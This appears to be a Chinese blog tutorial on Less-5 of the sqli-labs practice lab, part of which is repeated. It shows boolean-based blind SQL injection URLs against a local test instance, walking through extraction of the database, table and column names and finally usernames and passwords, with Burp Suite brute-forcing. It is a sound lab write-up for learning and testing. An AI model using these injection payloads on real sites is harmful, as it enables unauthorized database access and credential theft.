sqlilabs第五关布尔盲注(burpsuite版)

一.判断有无注入点及注入类型:

127.0.0.1/sqlilabs/Less-5/?id=1

 127.0.0.1/sqlilabs/Less-5/?id=1'(这里可以看到页面显示sql语句报错信息,基本可以判定为'闭合)

 补全后查看页面效果(1=1时有返回页面,1=2时无返回页面,无报错信息,符合页面布尔类型状态,尝试使用布尔型注入)

1.页面没有回显不能用联合查询(order by、union select ),页面没有报错信息不能用报错注入。

2.页面布尔类型状态:页面无回显且无报错信息。

127.0.0.1/sqlilabs/Less-5/?id=1' -- +

 127.0.0.1/sqlilabs/Less-5/?id=1' and 1=1 -- +

 127.0.0.1/sqlilabs/Less-5/?id=1' and 1=2 -- +

 猜测数据库长度:

127.0.0.1/sqlilabs/Less-5/?id=1' and length(database())=1 -- +

(若是猜错,没有返回页面)

 127.0.0.1/sqlilabs/Less-5/?id=1' and length(database())=8 -- +

(猜对返回You are in 页面)由此可知数据库长度为8

 二、猜测数据库长度、名称:

substr函数:

substr(str,pos,len)

str:待截取的字符串

pos:开始截取的位置

len:截取字符串长度

ag:

substr(abc,1,2):从abc第一位开始截取,截取长度为2,因此结果为ab

与之用法类似的函数有Mid(abc,1,2)、substring(abc,1,2)

127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),1,1)='a' -- +

(猜错无返回页面)

 127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),1,1)='s' -- +

(猜对返回页面You are in)

 此处可以使用burpsuite工具进行爆破,方法如下:

打开burpsuite,开启代理拦截

 

输入127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),1,1)='a' -- +

 将截取到的数据做如下操作:

 1.清除变量clear$

2.为数据破解位置添加变量 

 有效载荷设置:(数字0-9可不加)

 

 选项中的线程选择30:

 开始爆破(选择特殊长度并点击响应,下方会显示页面返回效果You are in),由此可确定数据库的第一个字母为‘s’。

 爆破第二个数据库字母

 127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),2,1)='a' -- +

 

 用这种方法可以将此数据库名爆破出来,为security。

三、猜测表名的长度、名称:

limit函数:

select * from user limit (0),10  //当索引为0时,可以省略

select * from user limit 0,10         //查询十条数据,索引从0到9,数据从1到10

select * from user limit 5,8           //查询八条数据,索引从5到12,数据从6到13

猜测第一张表名长度:

127.0.0.1/sqlilabs/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=4 -- +

(select table_name from information_schema.tables where table_schema='security' limit 0,1):查询security数据库中的第一条数据(第一张表),再加上length为查询第一条数据长度(表名长度)

若为limit 1,1 则为查询数据库security中的第二条数据(第二张表),length后跟此表名的猜测数据长度(表名长度)。 

猜测错误则无返回页面 

127.0.0.1/sqlilabs/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 -- +

由此可得到第一张表的长度为6

 猜测第一张表的名称

ascii()函数:返回字符的ascii码【将字符变为数字】

ascii编码中65-90为大写字母A-Z,91-122为小写字母a-z

ascii(115) :返回115          与ord()函数用法一致

127.0.0.1/sqlilabs/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=100 -- +

(select table_name from information_schema.tables where table_schema='security' limit 0,1) :此条语句为查找security中的第一张表信息

(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1):此条语句为查找第一张表的名字第一个字母

ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=100  :整条语句就是将第一张表的首字母转化为数字,看是否有页面返回,若有则猜测正确。

//也可以使用猜数据库名称的方法不适用ascii()函数,此语句为:

127.0.0.1/sqlilabs/Less-5/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a' -- +

猜测错误无返回信息 

127.0.0.1/sqlilabs/Less-5/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' -- +

成功则返回You are in

 可以得到第一个字母为e,也可以使用burp suite爆破(方法同上面一样)

 通过改变substr()函数的参数可以将第一张表的表名得出,通过改变limit()函数的参数可以且换到第二张、第三张表,两者结合可以将security中的表名得出,最后的表名共有emails、referers、uagents、users四张表。

 四、猜测列名的长度及名称:

127.0.0.1/sqlilabs/Less-5/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))=8 -- +

此语句的意思为:猜测security下users表下的第二列列名长度是否为8

(第一列列名为id   (limit 0,1)比较容易求出,这里使用第二列做实例)

 猜测第二列列名称的第一个字母

127.0.0.1/sqlilabs/Less-5/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='u' -- +

 通过爆破可以将users下的列名全部得出,分别为id,username,password

五、猜测数据的长度及名称:

127.0.0.1/sqlilabs/Less-5/?id=1' and length((select username from security.users limit 0,1))=4 -- +

可以得出security数据库下的users表中的username列的第一列数据长度为4

 猜测第一列列名

127.0.0.1/sqlilabs/Less-5/?id=1' and substr((select username from security.users limit 0,1),1,1)='D'-- +

 也可以使用爆破

第一给username为dump 

目录

一.判断有无注入点及注入类型:

127.0.0.1/sqlilabs/Less-5/?id=1

​编辑

 127.0.0.1/sqlilabs/Less-5/?id=1'(这里可以看到页面显示sql语句报错信息,基本可以判定为'闭合)​编辑

 补全后查看页面效果(1=1时有返回页面,1=2时无返回页面,无报错信息,符合页面布尔类型状态,尝试使用布尔型注入)

1.页面没有回显不能用联合查询(order by、union select ),页面没有报错信息不能用报错注入。

2.页面布尔类型状态:页面无回显且无报错信息。

127.0.0.1/sqlilabs/Less-5/?id=1' -- +

​编辑

 127.0.0.1/sqlilabs/Less-5/?id=1' and 1=1 -- +

​编辑

 127.0.0.1/sqlilabs/Less-5/?id=1' and 1=2 -- +

​编辑

 猜测数据库长度:

127.0.0.1/sqlilabs/Less-5/?id=1' and length(database())=1 -- +

(若是猜错,没有返回页面)

​编辑

 127.0.0.1/sqlilabs/Less-5/?id=1' and length(database())=8 -- +

(猜对返回You are in 页面)由此可知数据库长度为8

​编辑

 二、猜测数据库长度、名称:

substr函数:

substr(str,pos,len)

str:待截取的字符串

pos:开始截取的位置

len:截取字符串长度

ag:

substr(abc,1,2):从abc第一位开始截取,截取长度为2,因此结果为ab

与之用法类似的函数有Mid(abc,1,2)、substring(abc,1,2)

127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),1,1)='a' -- +

(猜错无返回页面)

​编辑

 127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),1,1)='s' -- +

(猜对返回页面You are in)

​编辑

 此处可以使用burpsuite工具进行爆破,方法如下:

打开burpsuite,开启代理拦截

​编辑 

输入127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),1,1)='a' -- +

​编辑

 将截取到的数据做如下操作:

​编辑

 1.清除变量clear$

​编辑

2.为数据破解位置添加变量 

​编辑

 有效载荷设置:(数字0-9可不加)

​编辑

 

 选项中的线程选择30:

​编辑

 开始爆破(选择特殊长度并点击响应,下方会显示页面返回效果You are in),由此可确定数据库的第一个字母为‘s’。

​编辑

 爆破第二个数据库字母

 127.0.0.1/sqlilabs/Less-5/?id=1' and substr(database(),2,1)='a' -- +

​编辑

 ​编辑

 用这种方法可以将此数据库名爆破出来,为security。

三、猜测表名的长度、名称:

 猜测第一张表的名称

 可以得到第一个字母为e,也可以使用burp suite爆破(方法同上面一样)

 通过改变substr()函数的参数可以将第一张表的表名得出,通过改变limit()函数的参数可以且换到第二张、第三张表,两者结合可以将security中的表名得出,最后的表名共有emails、referers、uagents、users四张表。

 四、猜测列名的长度及名称:

 猜测第二列列名称的第一个字母

 通过爆破可以将users下的列名全部得出,分别为id,username,password

五、猜测数据的长度及名称:

 猜测第一列列名

 也可以使用爆破

第一给username为dump 

使用同样的方法可以求出username下的所有用户名称和password下的密码,到此就结束咯!


 

使用同样的方法可以求出username下的所有用户名称和password下的密码,到此就结束咯!

  • 5
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值